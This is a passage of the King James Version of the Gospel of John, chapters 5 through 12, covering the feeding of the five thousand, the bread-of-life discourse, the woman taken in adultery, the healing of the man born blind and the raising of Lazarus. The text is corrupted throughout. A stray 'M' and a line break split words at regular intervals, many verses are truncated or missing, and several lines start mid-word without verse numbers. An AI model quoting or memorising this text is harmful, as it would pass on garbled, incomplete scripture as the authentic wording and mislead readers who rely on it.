5:37: And the Father himself, which hath sent me, hath borne witness of me. Ye have neither heard his voice at any time, nor seen his shape.
5:38: And ye have not his word abiding in you: for whom he hath sent, him ye believe not.
5:39: Search the scriptures; for in themM
 ye think ye have eternal life: and they are they which testify of me.
5:40: And ye will not come to me, that ye might have life.
5:41: I receive not honour from men.
5:42: But I know you, that ye have not the love of God in you.
5:43: I am come in my Father's name, and ye receive me not: if another shall come in his own name, him ye will receive.
5:44: How can ye believe, which receive honour one of another, and seek not the honour that cometh from God only?
5:45: Do not think that I will accuse you to the Father:M
 there is one that accuseth you, even Moses, in whom ye trust.
5:46: For had ye believed Moses, ye would have believed me: for he wrote of me.
5:47: But if ye believe not his writings, how shall ye believe my words?
6:1: After these things Jesus went over the sea of Galilee, which is the sea of Tiberias.
6:2: And a great multitude followed him, because they saw his miracles which he did on them that were diseased.
6:3: And Jesus went up into a mountain, and there he sat with his disciples.
assover, a feast of the Jews, was nigh.
6:5: When Jesus then lifted up his eyes, and saw a great company come unto him, he saith unto Philip, Whence shall we buy bread, that these may eat?
6:6: And this he said to prove him: for he himself knew what he would do.
6:7: Philip answered him, Two hundred pennyworth of bread is not sufficient for them, that every one of them may take a little.
6:8: One of his disciples, Andrew, Simon Peter's brother, saith unto him,
6:9: There is a lad here, which hath five barley loavesM
, and two small fishes: but what are they among so many?
6:10: And Jesus said, Make the men sit down. Now there was much grass in the place. So the men sat down, in number about five thousand.
6:11: And Jesus took the loaves; and when he had given thanks, he distributed to the disciples, and the disciples to them that were set down; and likewise of the fishes as much as they would.
6:12: When they were filled, he said unto his disciples, Gather up the fragments that remain, that nothing be lost.
6:13: Therefore theM
y gathered them together, and filled twelve baskets with the fragments of the five barley loaves, which remained over and above unto them that had eaten.
6:14: Then those men, when they had seen the miracle that Jesus did, said, This is of a truth that prophet that should come into the world.
6:15: When Jesus therefore perceived that they would come and take him by force, to make him a king, he departed again into a mountain himself alone.
6:16: And when even was now come, his disciples went down unto the sea,
: And entered into a ship, and went over the sea toward Capernaum. And it was now dark, and Jesus was not come to them.
6:18: And the sea arose by reason of a great wind that blew.
6:19: So when they had rowed about five and twenty or thirty furlongs, they see Jesus walking on the sea, and drawing nigh unto the ship: and they were afraid.
6:20: But he saith unto them, It is I; be not afraid.
6:21: Then they willingly received him into the ship: and immediately the ship was at the land whither they went.
ay following, when the people which stood on the other side of the sea saw that there was none other boat there, save that one whereinto his disciples were entered, and that Jesus went not with his disciples into the boat, but that his disciples were gone away alone;
6:23: (Howbeit there came other boats from Tiberias nigh unto the place where they did eat bread, after that the Lord had given thanks:)
6:24: When the people therefore saw that Jesus was not there, neither his disciples, they also took shipping, and cM
ame to Capernaum, seeking for Jesus.
6:25: And when they had found him on the other side of the sea, they said unto him, Rabbi, when camest thou hither?
6:26: Jesus answered them and said, Verily, verily, I say unto you, Ye seek me, not because ye saw the miracles, but because ye did eat of the loaves, and were filled.
6:27: Labour not for the meat which perisheth, but for that meat which endureth unto everlasting life, which the Son of man shall give unto you: for him hath God the Father sealed.
ey unto him, What shall we do, that we might work the works of God?
6:29: Jesus answered and said unto them, This is the work of God, that ye believe on him whom he hath sent.
6:30: They said therefore unto him, What sign shewest thou then, that we may see, and believe thee? what dost thou work?
6:31: Our fathers did eat manna in the desert; as it is written, He gave them bread from heaven to eat.
6:32: Then Jesus said unto them, Verily, verily, I say unto you, Moses gave you not that bread from heaven; but my FathM
er giveth you the true bread from heaven.
6:33: For the bread of God is he which cometh down from heaven, and giveth life unto the world.
6:34: Then said they unto him, Lord, evermore give us this bread.
6:35: And Jesus said unto them, I am the bread of life: he that cometh to me shall never hunger; and he that believeth on me shall never thirst.
6:36: But I said unto you, That ye also have seen me, and believe not.
6:37: All that the Father giveth me shall come to me; and him that cometh to me I will in no wise caM
6:38: For I came down from heaven, not to do mine own will, but the will of him that sent me.
6:39: And this is the Father's will which hath sent me, that of all which he hath given me I should lose nothing, but should raise it up again at the last day.
6:40: And this is the will of him that sent me, that every one which seeth the Son, and believeth on him, may have everlasting life: and I will raise him up at the last day.
6:41: The Jews then murmured at him, because he said, I am the bread which came downM
6:42: And they said, Is not this Jesus, the son of Joseph, whose father and mother we know? how is it then that he saith, I came down from heaven?
6:43: Jesus therefore answered and said unto them, Murmur not among yourselves.
6:44: No man can come to me, except the Father which hath sent me draw him: and I will raise him up at the last day.
6:45: It is written in the prophets, And they shall be all taught of God. Every man therefore that hath heard, and hath learned of the Father, cometh unto me.
6: Not that any man hath seen the Father, save he which is of God, he hath seen the Father.
6:47: Verily, verily, I say unto you, He that believeth on me hath everlasting life.
6:48: I am that bread of life.
6:49: Your fathers did eat manna in the wilderness, and are dead.
6:50: This is the bread which cometh down from heaven, that a man may eat thereof, and not die.
6:51: I am the living bread which came down from heaven: if any man eat of this bread, he shall live for ever: and the bread that I will give is my flM
esh, which I will give for the life of the world.
6:52: The Jews therefore strove among themselves, saying, How can this man give us his flesh to eat?
6:53: Then Jesus said unto them, Verily, verily, I say unto you, Except ye eat the flesh of the Son of man, and drink his blood, ye have no life in you.
6:54: Whoso eateth my flesh, and drinketh my blood, hath eternal life; and I will raise him up at the last day.
6:55: For my flesh is meat indeed, and my blood is drink indeed.
6:56: He that eateth my flesh, and drinM
keth my blood, dwelleth in me, and I in him.
6:57: As the living Father hath sent me, and I live by the Father: so he that eateth me, even he shall live by me.
6:58: This is that bread which came down from heaven: not as your fathers did eat manna, and are dead: he that eateth of this bread shall live for ever.
6:59: These things said he in the synagogue, as he taught in Capernaum.
6:60: Many therefore of his disciples, when they had heard this, said, This is an hard saying; who can hear it?
6:61: When Jesus knew iM
n himself that his disciples murmured at it, he said unto them, Doth this offend you?
6:62: What and if ye shall see the Son of man ascend up where he was before?
6:63: It is the spirit that quickeneth; the flesh profiteth nothing: the words that I speak unto you, they are spirit, and they are life.
6:64: But there are some of you that believe not. For Jesus knew from the beginning who they were that believed not, and who should betray him.
6:65: And he said, Therefore said I unto you, that no man can come unto me,M
 except it were given unto him of my Father.
6:66: From that time many of his disciples went back, and walked no more with him.
6:67: Then said Jesus unto the twelve, Will ye also go away?
6:68: Then Simon Peter answered him, Lord, to whom shall we go? thou hast the words of eternal life.
6:69: And we believe and are sure that thou art that Christ, the Son of the living God.
6:70: Jesus answered them, Have not I chosen you twelve, and one of you is a devil?
6:71: He spake of Judas Iscariot the son of Simon: for he M
it was that should betray him, being one of the twelve.
7:1: After these things Jesus walked in Galilee: for he would not walk in Jewry, because the Jews sought to kill him.
7:2: Now the Jews' feast of tabernacles was at hand.
7:3: His brethren therefore said unto him, Depart hence, and go into Judaea, that thy disciples also may see the works that thou doest.
7:4: For there is no man that doeth any thing in secret, and he himself seeketh to be known openly. If thou do these things, shew thyself to the wM
7:5: For neither did his brethren believe in him.
7:6: Then Jesus said unto them, My time is not yet come: but your time is alway ready.
7:7: The world cannot hate you; but me it hateth, because I testify of it, that the works thereof are evil.
7:8: Go ye up unto this feast: I go not up yet unto this feast; for my time is not yet full come.
7:9: When he had said these words unto them, he abode still in Galilee.
7:10: But when his brethren were gone up, then went he also up unto the feast, not openly, but as iM
7:11: Then the Jews sought him at the feast, and said, Where is he?
7:12: And there was much murmuring among the people concerning him: for some said, He is a good man: others said, Nay; but he deceiveth the people.
7:13: Howbeit no man spake openly of him for fear of the Jews.
7:14: Now about the midst of the feast Jesus went up into the temple, and taught.
7:15: And the Jews marvelled, saying, How knoweth this man letters, having never learned?
7:16: Jesus answered them, and said, My doctrine isM
 not mine, but his that sent me.
7:17: If any man will do his will, he shall know of the doctrine, whether it be of God, or whether I speak of myself.
7:18: He that speaketh of himself seeketh his own glory: but he that seeketh his glory that sent him, the same is true, and no unrighteousness is in him.
7:19: Did not Moses give you the law, and yet none of you keepeth the law? Why go ye about to kill me?
7:20: The people answered and said, Thou hast a devil: who goeth about to kill thee?
7:21: Jesus answered and saM
id unto them, I have done one work, and ye all marvel.
7:22: Moses therefore gave unto you circumcision; (not because it is of Moses, but of the fathers;) and ye on the sabbath day circumcise a man.
7:23: If a man on the sabbath day receive circumcision, that the law of Moses should not be broken; are ye angry at me, because I have made a man every whit whole on the sabbath day?
7:24: Judge not according to the appearance, but judge righteous judgment.
7:25: Then said some of them of Jerusalem, Is not this he, whomM
7:26: But, lo, he speaketh boldly, and they say nothing unto him. Do the rulers know indeed that this is the very Christ?
7:27: Howbeit we know this man whence he is: but when Christ cometh, no man knoweth whence he is.
7:28: Then cried Jesus in the temple as he taught, saying, Ye both know me, and ye know whence I am: and I am not come of myself, but he that sent me is true, whom ye know not.
7:29: But I know him: for I am from him, and he hath sent me.
7:30: Then they sought to take him: but nM
o man laid hands on him, because his hour was not yet come.
7:31: And many of the people believed on him, and said, When Christ cometh, will he do more miracles than these which this man hath done?
7:32: The Pharisees heard that the people murmured such things concerning him; and the Pharisees and the chief priests sent officers to take him.
7:33: Then said Jesus unto them, Yet a little while am I with you, and then I go unto him that sent me.
7:34: Ye shall seek me, and shall not find me: and where I am, thither yM
7:35: Then said the Jews among themselves, Whither will he go, that we shall not find him? will he go unto the dispersed among the Gentiles, and teach the Gentiles?
7:36: What manner of saying is this that he said, Ye shall seek me, and shall not find me: and where I am, thither ye cannot come?
7:37: In the last day, that great day of the feast, Jesus stood and cried, saying, If any man thirst, let him come unto me, and drink.
7:38: He that believeth on me, as the scripture hath said, out of his bellM
y shall flow rivers of living water.
7:39: (But this spake he of the Spirit, which they that believe on him should receive: for the Holy Ghost was not yet given; because that Jesus was not yet glorified.)
7:40: Many of the people therefore, when they heard this saying, said, Of a truth this is the Prophet.
7:41: Others said, This is the Christ. But some said, Shall Christ come out of Galilee?
7:42: Hath not the scripture said, That Christ cometh of the seed of David, and out of the town of Bethlehem, where David waM
7:43: So there was a division among the people because of him.
7:44: And some of them would have taken him; but no man laid hands on him.
7:45: Then came the officers to the chief priests and Pharisees; and they said unto them, Why have ye not brought him?
7:46: The officers answered, Never man spake like this man.
7:47: Then answered them the Pharisees, Are ye also deceived?
7:48: Have any of the rulers or of the Pharisees believed on him?
7:49: But this people who knoweth not the law are cursed.
s saith unto them, (he that came to Jesus by night, being one of them,)
7:51: Doth our law judge any man, before it hear him, and know what he doeth?
7:52: They answered and said unto him, Art thou also of Galilee? Search, and look: for out of Galilee ariseth no prophet.
7:53: And every man went unto his own house.
8:1: Jesus went unto the mount of Olives.
8:2: And early in the morning he came again into the temple, and all the people came unto him; and he sat down, and taught them.
8:3: And the scribes M
and Pharisees brought unto him a woman taken in adultery; and when they had set her in the midst,
8:4: They say unto him, Master, this woman was taken in adultery, in the very act.
8:5: Now Moses in the law commanded us, that such should be stoned: but what sayest thou?
8:6: This they said, tempting him, that they might have to accuse him. But Jesus stooped down, and with his finger wrote on the ground, as though he heard them not.
8:7: So when they continued asking him, he lifted up himself, and said unto them, HeM
 that is without sin among you, let him first cast a stone at her.
8:8: And again he stooped down, and wrote on the ground.
8:9: And they which heard it, being convicted by their own conscience, went out one by one, beginning at the eldest, even unto the last: and Jesus was left alone, and the woman standing in the midst.
8:10: When Jesus had lifted up himself, and saw none but the woman, he said unto her, Woman, where are those thine accusers? hath no man condemned thee?
8:11: She said, No man, Lord. And Jesus saiM
d unto her, Neither do I condemn thee: go, and sin no more.
8:12: Then spake Jesus again unto them, saying, I am the light of the world: he that followeth me shall not walk in darkness, but shall have the light of life.
8:13: The Pharisees therefore said unto him, Thou bearest record of thyself; thy record is not true.
8:14: Jesus answered and said unto them, Though I bear record of myself, yet my record is true: for I know whence I came, and whither I go; but ye cannot tell whence I come, and whither I go.
e judge after the flesh; I judge no man.
8:16: And yet if I judge, my judgment is true: for I am not alone, but I and the Father that sent me.
8:17: It is also written in your law, that the testimony of two men is true.
8:18: I am one that bear witness of myself, and the Father that sent me beareth witness of me.
8:19: Then said they unto him, Where is thy Father? Jesus answered, Ye neither know me, nor my Father: if ye had known me, ye should have known my Father also.
8:20: These words spake Jesus in the treasuryM
, as he taught in the temple: and no man laid hands on him; for his hour was not yet come.
8:21: Then said Jesus again unto them, I go my way, and ye shall seek me, and shall die in your sins: whither I go, ye cannot come.
8:22: Then said the Jews, Will he kill himself? because he saith, Whither I go, ye cannot come.
8:23: And he said unto them, Ye are from beneath; I am from above: ye are of this world; I am not of this world.
8:24: I said therefore unto you, that ye shall die in your sins: for if ye believe not tM
hat I am he, ye shall die in your sins.
8:25: Then said they unto him, Who art thou? And Jesus saith unto them, Even the same that I said unto you from the beginning.
8:26: I have many things to say and to judge of you: but he that sent me is true; and I speak to the world those things which I have heard of him.
8:27: They understood not that he spake to them of the Father.
8:28: Then said Jesus unto them, When ye have lifted up the Son of man, then shall ye know that I am he, and that I do nothing of myself; but aM
s my Father hath taught me, I speak these things.
8:29: And he that sent me is with me: the Father hath not left me alone; for I do always those things that please him.
8:30: As he spake these words, many believed on him.
8:31: Then said Jesus to those Jews which believed on him, If ye continue in my word, then are ye my disciples indeed;
8:32: And ye shall know the truth, and the truth shall make you free.
8:33: They answered him, We be Abraham's seed, and were never in bondage to any man: how sayest thou, Ye shalM
8:34: Jesus answered them, Verily, verily, I say unto you, Whosoever committeth sin is the servant of sin.
8:35: And the servant abideth not in the house for ever: but the Son abideth ever.
8:36: If the Son therefore shall make you free, ye shall be free indeed.
8:37: I know that ye are Abraham's seed; but ye seek to kill me, because my word hath no place in you.
8:38: I speak that which I have seen with my Father: and ye do that which ye have seen with your father.
8:39: They answered and said untoM
 him, Abraham is our father. Jesus saith unto them, If ye were Abraham's children, ye would do the works of Abraham.
8:40: But now ye seek to kill me, a man that hath told you the truth, which I have heard of God: this did not Abraham.
8:41: Ye do the deeds of your father. Then said they to him, We be not born of fornication; we have one Father, even God.
8:42: Jesus said unto them, If God were your Father, ye would love me: for I proceeded forth and came from God; neither came I of myself, but he sent me.
y do ye not understand my speech? even because ye cannot hear my word.
8:44: Ye are of your father the devil, and the lusts of your father ye will do. He was a murderer from the beginning, and abode not in the truth, because there is no truth in him. When he speaketh a lie, he speaketh of his own: for he is a liar, and the father of it.
8:45: And because I tell you the truth, ye believe me not.
8:46: Which of you convinceth me of sin? And if I say the truth, why do ye not believe me?
8:47: He that is of God hearethM
 God's words: ye therefore hear them not, because ye are not of God.
8:48: Then answered the Jews, and said unto him, Say we not well that thou art a Samaritan, and hast a devil?
8:49: Jesus answered, I have not a devil; but I honour my Father, and ye do dishonour me.
8:50: And I seek not mine own glory: there is one that seeketh and judgeth.
8:51: Verily, verily, I say unto you, If a man keep my saying, he shall never see death.
8:52: Then said the Jews unto him, Now we know that thou hast a devil. Abraham is deadM
, and the prophets; and thou sayest, If a man keep my saying, he shall never taste of death.
8:53: Art thou greater than our father Abraham, which is dead? and the prophets are dead: whom makest thou thyself?
8:54: Jesus answered, If I honour myself, my honour is nothing: it is my Father that honoureth me; of whom ye say, that he is your God:
8:55: Yet ye have not known him; but I know him: and if I should say, I know him not, I shall be a liar like unto you: but I know him, and keep his saying.
8:56: Your father AM
braham rejoiced to see my day: and he saw it, and was glad.
8:57: Then said the Jews unto him, Thou art not yet fifty years old, and hast thou seen Abraham?
8:58: Jesus said unto them, Verily, verily, I say unto you, Before Abraham was, I am.
8:59: Then took they up stones to cast at him: but Jesus hid himself, and went out of the temple, going through the midst of them, and so passed by.
9:1: And as Jesus passed by, he saw a man which was blind from his birth.
9:2: And his disciples asked him, saying, MM
aster, who did sin, this man, or his parents, that he was born blind?
9:3: Jesus answered, Neither hath this man sinned, nor his parents: but that the works of God should be made manifest in him.
9:4: I must work the works of him that sent me, while it is day: the night cometh, when no man can work.
9:5: As long as I am in the world, I am the light of the world.
9:6: When he had thus spoken, he spat on the ground, and made clay of the spittle, and he anointed the eyes of the blind man with the clay,
nto him, Go, wash in the pool of Siloam, (which is by interpretation, Sent.) He went his way therefore, and washed, and came seeing.
9:8: The neighbours therefore, and they which before had seen him that he was blind, said, Is not this he that sat and begged?
9:9: Some said, This is he: others said, He is like him: but he said, I am he.
9:10: Therefore said they unto him, How were thine eyes opened?
9:11: He answered and said, A man that is called Jesus made clay, and anointed mine eyes, and said unto me, Go to theM
 pool of Siloam, and wash: and I went and washed, and I received sight.
9:12: Then said they unto him, Where is he? He said, I know not.
9:13: They brought to the Pharisees him that aforetime was blind.
9:14: And it was the sabbath day when Jesus made the clay, and opened his eyes.
9:15: Then again the Pharisees also asked him how he had received his sight. He said unto them, He put clay upon mine eyes, and I washed, and do see.
9:16: Therefore said some of the Pharisees, This man is not of God, because he keepeth M
not the sabbath day. Others said, How can a man that is a sinner do such miracles? And there was a division among them.
9:17: They say unto the blind man again, What sayest thou of him, that he hath opened thine eyes? He said, He is a prophet.
9:18: But the Jews did not believe concerning him, that he had been blind, and received his sight, until they called the parents of him that had received his sight.
9:19: And they asked them, saying, Is this your son, who ye say was born blind? how then doth he now see?
 His parents answered them and said, We know that this is our son, and that he was born blind:
9:21: But by what means he now seeth, we know not; or who hath opened his eyes, we know not: he is of age; ask him: he shall speak for himself.
9:22: These words spake his parents, because they feared the Jews: for the Jews had agreed already, that if any man did confess that he was Christ, he should be put out of the synagogue.
9:23: Therefore said his parents, He is of age; ask him.
9:24: Then again called they the man M
that was blind, and said unto him, Give God the praise: we know that this man is a sinner.
9:25: He answered and said, Whether he be a sinner or no, I know not: one thing I know, that, whereas I was blind, now I see.
9:26: Then said they to him again, What did he to thee? how opened he thine eyes?
9:27: He answered them, I have told you already, and ye did not hear: wherefore would ye hear it again? will ye also be his disciples?
9:28: Then they reviled him, and said, Thou art his disciple; but we are Moses' discipM
9:29: We know that God spake unto Moses: as for this fellow, we know not from whence he is.
9:30: The man answered and said unto them, Why herein is a marvellous thing, that ye know not from whence he is, and yet he hath opened mine eyes.
9:31: Now we know that God heareth not sinners: but if any man be a worshipper of God, and doeth his will, him he heareth.
9:32: Since the world began was it not heard that any man opened the eyes of one that was born blind.
9:33: If this man were not of God, he could do nothM
9:34: They answered and said unto him, Thou wast altogether born in sins, and dost thou teach us? And they cast him out.
9:35: Jesus heard that they had cast him out; and when he had found him, he said unto him, Dost thou believe on the Son of God?
9:36: He answered and said, Who is he, Lord, that I might believe on him?
9:37: And Jesus said unto him, Thou hast both seen him, and it is he that talketh with thee.
9:38: And he said, Lord, I believe. And he worshipped him.
9:39: And Jesus said, For judgment I am M
come into this world, that they which see not might see; and that they which see might be made blind.
9:40: And some of the Pharisees which were with him heard these words, and said unto him, Are we blind also?
9:41: Jesus said unto them, If ye were blind, ye should have no sin: but now ye say, We see; therefore your sin remaineth.
10:1: Verily, verily, I say unto you, He that entereth not by the door into the sheepfold, but climbeth up some other way, the same is a thief and a robber.
 entereth in by the door is the shepherd of the sheep.
10:3: To him the porter openeth; and the sheep hear his voice: and he calleth his own sheep by name, and leadeth them out.
10:4: And when he putteth forth his own sheep, he goeth before them, and the sheep follow him: for they know his voice.
10:5: And a stranger will they not follow, but will flee from him: for they know not the voice of strangers.
10:6: This parable spake Jesus unto them: but they understood not what things they were which he spake unto them.M
10:7: Then said Jesus unto them again, Verily, verily, I say unto you, I am the door of the sheep.
10:8: All that ever came before me are thieves and robbers: but the sheep did not hear them.
10:9: I am the door: by me if any man enter in, he shall be saved, and shall go in and out, and find pasture.
10:10: The thief cometh not, but for to steal, and to kill, and to destroy: I am come that they might have life, and that they might have it more abundantly.
10:11: I am the good shepherd: the good shepherd giveth hisM
 life for the sheep.
10:12: But he that is an hireling, and not the shepherd, whose own the sheep are not, seeth the wolf coming, and leaveth the sheep, and fleeth: and the wolf catcheth them, and scattereth the sheep.
10:13: The hireling fleeth, because he is an hireling, and careth not for the sheep.
10:14: I am the good shepherd, and know my sheep, and am known of mine.
10:15: As the Father knoweth me, even so know I the Father: and I lay down my life for the sheep.
10:16: And other sheep I have, which are not oM
f this fold: them also I must bring, and they shall hear my voice; and there shall be one fold, and one shepherd.
10:17: Therefore doth my Father love me, because I lay down my life, that I might take it again.
10:18: No man taketh it from me, but I lay it down of myself. I have power to lay it down, and I have power to take it again. This commandment have I received of my Father.
10:19: There was a division therefore again among the Jews for these sayings.
10:20: And many of them said, He hath a devil, and is mad;M
10:21: Others said, These are not the words of him that hath a devil. Can a devil open the eyes of the blind?
10:22: And it was at Jerusalem the feast of the dedication, and it was winter.
10:23: And Jesus walked in the temple in Solomon's porch.
10:24: Then came the Jews round about him, and said unto him, How long dost thou make us to doubt? If thou be the Christ, tell us plainly.
10:25: Jesus answered them, I told you, and ye believed not: the works that I do in my Father's name, they bear witnM
10:26: But ye believe not, because ye are not of my sheep, as I said unto you.
10:27: My sheep hear my voice, and I know them, and they follow me:
10:28: And I give unto them eternal life; and they shall never perish, neither shall any man pluck them out of my hand.
10:29: My Father, which gave them me, is greater than all; and no man is able to pluck them out of my Father's hand.
10:30: I and my Father are one.
10:31: Then the Jews took up stones again to stone him.
10:32: Jesus answered them, Many goodM
 works have I shewed you from my Father; for which of those works do ye stone me?
10:33: The Jews answered him, saying, For a good work we stone thee not; but for blasphemy; and because that thou, being a man, makest thyself God.
10:34: Jesus answered them, Is it not written in your law, I said, Ye are gods?
10:35: If he called them gods, unto whom the word of God came, and the scripture cannot be broken;
10:36: Say ye of him, whom the Father hath sanctified, and sent into the world, Thou blasphemest; because I saiM
d, I am the Son of God?
10:37: If I do not the works of my Father, believe me not.
10:38: But if I do, though ye believe not me, believe the works: that ye may know, and believe, that the Father is in me, and I in him.
10:39: Therefore they sought again to take him: but he escaped out of their hand,
10:40: And went away again beyond Jordan into the place where John at first baptized; and there he abode.
10:41: And many resorted unto him, and said, John did no miracle: but all things that John spake of this man wereM
10:42: And many believed on him there.
11:1: Now a certain man was sick, named Lazarus, of Bethany, the town of Mary and her sister Martha.
11:2: (It was that Mary which anointed the Lord with ointment, and wiped his feet with her hair, whose brother Lazarus was sick.)
11:3: Therefore his sisters sent unto him, saying, Lord, behold, he whom thou lovest is sick.
11:4: When Jesus heard that, he said, This sickness is not unto death, but for the glory of God, that the Son of God might be glorified tM
11:5: Now Jesus loved Martha, and her sister, and Lazarus.
11:6: When he had heard therefore that he was sick, he abode two days still in the same place where he was.
11:7: Then after that saith he to his disciples, Let us go into Judaea again.
11:8: His disciples say unto him, Master, the Jews of late sought to stone thee; and goest thou thither again?
11:9: Jesus answered, Are there not twelve hours in the day? If any man walk in the day, he stumbleth not, because he seeth the light of this world.
But if a man walk in the night, he stumbleth, because there is no light in him.
11:11: These things said he: and after that he saith unto them, Our friend Lazarus sleepeth; but I go, that I may awake him out of sleep.
11:12: Then said his disciples, Lord, if he sleep, he shall do well.
11:13: Howbeit Jesus spake of his death: but they thought that he had spoken of taking of rest in sleep.
11:14: Then said Jesus unto them plainly, Lazarus is dead.
11:15: And I am glad for your sakes that I was not there, to the inteM
nt ye may believe; nevertheless let us go unto him.
11:16: Then said Thomas, which is called Didymus, unto his fellowdisciples, Let us also go, that we may die with him.
11:17: Then when Jesus came, he found that he had lain in the grave four days already.
11:18: Now Bethany was nigh unto Jerusalem, about fifteen furlongs off:
11:19: And many of the Jews came to Martha and Mary, to comfort them concerning their brother.
11:20: Then Martha, as soon as she heard that Jesus was coming, went and met him: but Mary sat sM
11:21: Then said Martha unto Jesus, Lord, if thou hadst been here, my brother had not died.
11:22: But I know, that even now, whatsoever thou wilt ask of God, God will give it thee.
11:23: Jesus saith unto her, Thy brother shall rise again.
11:24: Martha saith unto him, I know that he shall rise again in the resurrection at the last day.
11:25: Jesus said unto her, I am the resurrection, and the life: he that believeth in me, though he were dead, yet shall he live:
11:26: And whosoever liveth andM
 believeth in me shall never die. Believest thou this?
11:27: She saith unto him, Yea, Lord: I believe that thou art the Christ, the Son of God, which should come into the world.
11:28: And when she had so said, she went her way, and called Mary her sister secretly, saying, The Master is come, and calleth for thee.
11:29: As soon as she heard that, she arose quickly, and came unto him.
11:30: Now Jesus was not yet come into the town, but was in that place where Martha met him.
11:31: The Jews then which were with hM
er in the house, and comforted her, when they saw Mary, that she rose up hastily and went out, followed her, saying, She goeth unto the grave to weep there.
11:32: Then when Mary was come where Jesus was, and saw him, she fell down at his feet, saying unto him, Lord, if thou hadst been here, my brother had not died.
11:33: When Jesus therefore saw her weeping, and the Jews also weeping which came with her, he groaned in the spirit, and was troubled,
11:34: And said, Where have ye laid him? They said unto him, Lord,M
11:36: Then said the Jews, Behold how he loved him!
11:37: And some of them said, Could not this man, which opened the eyes of the blind, have caused that even this man should not have died?
11:38: Jesus therefore again groaning in himself cometh to the grave. It was a cave, and a stone lay upon it.
11:39: Jesus said, Take ye away the stone. Martha, the sister of him that was dead, saith unto him, Lord, by this time he stinketh: for he hath been dead four days.
11:40: Jesus saith uM
nto her, Said I not unto thee, that, if thou wouldest believe, thou shouldest see the glory of God?
11:41: Then they took away the stone from the place where the dead was laid. And Jesus lifted up his eyes, and said, Father, I thank thee that thou hast heard me.
11:42: And I knew that thou hearest me always: but because of the people which stand by I said it, that they may believe that thou hast sent me.
11:43: And when he thus had spoken, he cried with a loud voice, Lazarus, come forth.
11:44: And he that was deadM
 came forth, bound hand and foot with graveclothes: and his face was bound about with a napkin. Jesus saith unto them, Loose him, and let him go.
11:45: Then many of the Jews which came to Mary, and had seen the things which Jesus did, believed on him.
11:46: But some of them went their ways to the Pharisees, and told them what things Jesus had done.
11:47: Then gathered the chief priests and the Pharisees a council, and said, What do we? for this man doeth many miracles.
11:48: If we let him thus alone, all men wiM
ll believe on him: and the Romans shall come and take away both our place and nation.
11:49: And one of them, named Caiaphas, being the high priest that same year, said unto them, Ye know nothing at all,
11:50: Nor consider that it is expedient for us, that one man should die for the people, and that the whole nation perish not.
11:51: And this spake he not of himself: but being high priest that year, he prophesied that Jesus should die for that nation;
11:52: And not for that nation only, but that also he should gM
ather together in one the children of God that were scattered abroad.
11:53: Then from that day forth they took counsel together for to put him to death.
11:54: Jesus therefore walked no more openly among the Jews; but went thence unto a country near to the wilderness, into a city called Ephraim, and there continued with his disciples.
11:55: And the Jews' passover was nigh at hand: and many went out of the country up to Jerusalem before the passover, to purify themselves.
11:56: Then sought they for Jesus, and spaM
ke among themselves, as they stood in the temple, What think ye, that he will not come to the feast?
11:57: Now both the chief priests and the Pharisees had given a commandment, that, if any man knew where he were, he should shew it, that they might take him.
12:1: Then Jesus six days before the passover came to Bethany, where Lazarus was which had been dead, whom he raised from the dead.
12:2: There they made him a supper; and Martha served: but Lazarus was one of them that sat at the table with him.
2:3: Then took Mary a pound of ointment of spikenard, very costly, and anointed the feet of Jesus, and wiped his feet with her hair: and the house was filled with the odour of the ointment.
12:4: Then saith one of his disciples, Judas Iscariot, Simon's son, which should betray him,
12:5: Why was not this ointment sold for three hundred pence, and given to the poor?
12:6: This he said, not that he cared for the poor; but because he was a thief, and had the bag, and bare what was put therein.
12:7: Then said Jesus, LM
et her alone: against the day of my burying hath she kept this.
12:8: For the poor always ye have with you; but me ye have not always.
12:9: Much people of the Jews therefore knew that he was there: and they came not for Jesus' sake only, but that they might see Lazarus also, whom he had raised from the dead.
12:10: But the chief priests consulted that they might put Lazarus also to death;
12:11: Because that by reason of him many of the Jews went away, and believed on Jesus.
12:12: On the next day much people thatM
 were come to the feast, when they heard that Jesus was coming to Jerusalem,
12:13: Took branches of palm trees, and went forth to meet him, and cried, Hosanna: Blessed is the King of Israel that cometh in the name of the Lord.
12:14: And Jesus, when he had found a young ass, sat thereon; as it is written,
12:15: Fear not, daughter of Sion: behold, thy King cometh, sitting on an ass's colt.
12:16: These things understood not his disciples at the first: but when Jesus was glorified, then remembered they that these tM
hings were written of him, and that they had done these things unto him.
12:17: The people therefore that was with him when he called Lazarus out of his grave, and raised him from the dead, bare record.
12:18: For this cause the people also met him, for that they heard that he had done this miracle.
12:19: The Pharisees therefore said among themselves, Perceive ye how ye prevail nothing? behold, the world is gone after him.
12:20: And there were certain Greeks among them that came up to worship at the feast:
 The same came therefore to Philip, which was of Bethsaida of Galilee, and desired him, saying, Sir, we would see Jesus.
12:22: Philip cometh and telleth Andrew: and again Andrew and Philip tell Jesus.
12:23: And Jesus answered them, saying, The hour is come, that the Son of man should be glorified.
12:24: Verily, verily, I say unto you, Except a corn of wheat fall into the ground and die, it abideth alone: but if it die, it bringeth forth much fruit.
12:25: He that loveth his life shall lose it; and he that hatethM
 his life in this world shall keep it unto life eternal.
12:26: If any man serve me, let him follow me; and where I am, there shall also my servant be: if any man serve me, him will my Father honour.
12:27: Now is my soul troubled; and what shall I say? Father, save me from this hour: but for this cause came I unto this hour.
12:28: Father, glorify thy name. Then came there a voice from heaven, saying, I have both glorified it, and will glorify it again.
12:29: The people therefore, that stood by, and heard it, saiM
d that it thundered: others said, An angel spake to him.
12:30: Jesus answered and said, This voice came not because of me, but for your sakes.
12:31: Now is the judgment of this world: now shall the prince of this world be cast out.
12:32: And I, if I be lifted up from the earth, will draw all men unto me.
12:33: This he said, signifying what death he should die.
12:34: The people answered him, We have heard out of the law that Christ abideth for ever: and how sayest thou, The Son of man must be lifted up? who is M
12:35: Then Jesus said unto them, Yet a little while is the light with you. Walk while ye have the light, lest darkness come upon you: for he that walketh in darkness knoweth not whither he goeth.
12:36: While ye have light, believe in the light, that ye may be the children of light. These things spake Jesus, and departed, and did hide himself from them.
12:37: But though he had done so many miracles before them, yet they believed not on him:
12:38: That the saying of Esaias the prophet might be fuM
lfilled, which he spake, Lord, who hath believed our report? and to whom hath the arm of the Lord been revealed?
12:39: Therefore they could not believe, because that Esaias said again,
12:40: He hath blinded their eyes, and hardened their heart; that they should not see with their eyes, nor understand with their heart, and be converted, and I should heal them.
12:41: These things said Esaias, when he saw his glory, and spake of him.
12:42: Nevertheless among the chief rulers also many believed on him; but because M
of the Pharisees they did not confess him, lest they should be put out of the synagogue:
12:43: For they loved the praise of men more than the praise of God.
12:44: Jesus cried and said, He that believeth on me, believeth not on me, but on him that sent me.
